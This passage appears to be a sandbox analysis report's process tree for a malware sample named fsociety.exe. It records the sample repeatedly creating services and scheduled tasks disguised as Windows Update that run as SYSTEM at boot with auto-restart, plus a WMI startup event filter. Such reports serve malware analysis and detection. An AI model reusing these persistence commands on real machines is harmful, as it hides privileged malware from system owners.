      sc config WinUpdateSvc start= auto
      4⤵
      Launches sc.exe
      PID:6176
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:7020
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      PID:6572
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    PID:6956
  - - C:\Windows\system32\sc.exe
      sc start WinUpdateSvc
      4⤵
      PID:6624
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:1900
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:892
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:1588
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:8076
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:780
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7312
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:5904
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6268
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
    3⤵
    PID:4468
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "WindowsUpdate"
      4⤵
      PID:8084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:7380
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
      4⤵
      PID:7876

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:3380
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:3824
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:3360
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:5588
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:3160
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:1928
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:956
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:2472
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:2000
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:2720
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:2156
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      Launches sc.exe
      PID:4164
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:4180
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:396
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:1204
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:5300
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:4472
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:3928
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:1540
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:396
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:4792
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      Launches sc.exe
      PID:1692
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:1092
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:3532
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:4936
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:6624
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6920
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:6628
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:6192
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:6724
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:1532
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:328
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:6812
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:4544
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:7232
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:8044
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:6160
  - - C:\Windows\system32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:7212
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:8024
  - - C:\Windows\system32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      PID:8180
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    PID:7136
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:7252
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:6408
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      PID:3132

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:436
- C:\Windows\system32\werfault.exe
  werfault.exe /h /shared Global\af6a5a0156404e7fb684a454509e4bba /t 832 /p 1836
  2⤵
  PID:4164

C:\Windows\system32\fsociety.exe
C:\Windows\system32\fsociety.exe
1⤵
PID:5708
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:4320
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:5324
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:2468
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:4172
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5552
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:1532
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:240
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1264
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:5664
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:3432
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:396
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:752
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:6456
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:6728
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:7152
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:5564
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:6948
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:5276
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:6932
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:6304
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:2988
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5472
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:6356
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:7456
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:7976
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:6760
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:1468
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:7200
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:7472
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:2104
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      Launches sc.exe
      PID:5584
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:8116

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:4052
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:3188
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:2768
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:4172
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:3636
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:832
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:3776
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:2468
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:5476
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:5460
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:4612
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:1016
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:5504
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:1692
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:6220
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:6836
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:232
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:1448
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:7164
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      Launches sc.exe
      PID:6600
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:916
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:7012
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:6524
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:8140
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:6348
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:6660
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:7236
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:7384
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:7260
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:6848
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:7492
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:2088
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:3948
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:6828
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:6480

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:2652
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:5244
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:1196
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:244
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:3104
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:5472
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:2472
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:5920
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:2344
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:396
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:5772
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:2152
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5448
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:916
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:3504
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:6472
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:6740
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:2028
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:3972
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:6392
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:5312
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      Launches sc.exe
      PID:4924
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:6528
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:6472
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:244
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:7620
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:8152
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:5868
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:3196
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:7896
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:7280
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:7636
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:2464
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      Launches sc.exe
      PID:6148
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:5320
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:5592
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:2972
  - - C:\Windows\system32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:6908

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:2520
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:4608
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:1672
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:1052
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:5200
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:4944
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:5396
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:328
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:2528
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5528
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:896
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:2468
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:5948
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:4852
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:6264
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:6704
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:4772
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:3388
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:1032
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:2204
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:644
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:6824
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:6340
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:5988
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:7796
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:6320
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      Launches sc.exe
      PID:7576
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:7744
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:6724
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:7772
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:7312
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:5460
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:8176
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:6620
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:3692
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:6392
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:1792

C:\Windows\system32\fsociety.exe
C:\Windows\system32\fsociety.exe
1⤵
PID:1584
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:6196
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:7104
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:2440
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:4944
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:7016
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:7480
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:7704
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:8184
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:2464
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:7544
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:6316
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:7648
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:6380
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:7928
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:7736
- - C:\Windows\system32\cmd.exe
